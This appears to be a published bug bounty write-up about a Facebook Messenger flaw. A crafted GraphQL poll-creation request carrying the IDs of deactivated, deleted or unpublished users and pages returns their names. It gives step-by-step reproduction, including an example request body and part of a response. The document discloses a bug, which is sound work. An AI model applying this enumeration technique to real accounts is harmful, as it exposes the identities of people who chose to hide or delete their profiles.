Published On: 23 Mar 2022
Disclosing names of unpublished/deactivated/deleted users and pages
Privacy/Authentication
Facebook | Android
---
LOW INFORMATIVEDescription
There's an option in Facebook Messenger to create poll and choose a type of question that can select members of the group chat to make a vote . The GraphQl request responsible to create this poll will takes users ids as array, its possible for attackers to put ids for users/pages thats are deactivated/deleted/unpublished and the poll will be created and the names of these users/pages will be disclosed .
Impact
its possible to disclose the names of pages and users that are unpublished /deactivated or even deleted .
Reproduction Steps
Step
1
Create a Group chat this step is important because the attacker wants to create a poll in the chat .
Step
2
Now we wants to disclose some users/pages names that are deleted,unpublished or deactivated
e.g we have the following id a user with id : 5320 (deactivated user)
if you try to open these profiles you wont be able since they are deactivated or deleted
www.facebook.com/5320
Step
3
To disclose the names of these ids attacker will create a poll in the chat and will put these 2 ids as users ids in the "options" array
option_user_id -> put a user or page ids that are disabled/unpublished/deactivated..
target_id-> is the group chat id .
Step
4
"variables": {
"input": {
"target_id": "----",
"question_type": "MOST_LIKELY_TO",
"question_text": "Disclose names ",
"client_mutation_id": "-----",
"answers_state": "OPEN",
"options": [
{
"option_user_id": "5320",
"option_text": "Kassem Whitehatt",
"is_selected": false
},
{
"option_user_id": "----",
"option_text": "Kassem Whitehatt",
"is_selected": false
}
Step
5
Now the response will contain the question id created ( we want to fetch this question id )
Response will contain the name of the deactivated user
"options": {
"nodes": [
{
"id": "364045391718709",
"associated_thread_participant": null,
"text_with_entities": {
"text": "Phil SH..."
},
"viewer_has_voted": false,
"messaging_voters": {
"count": 0,
"nodes": [
]
}
},
{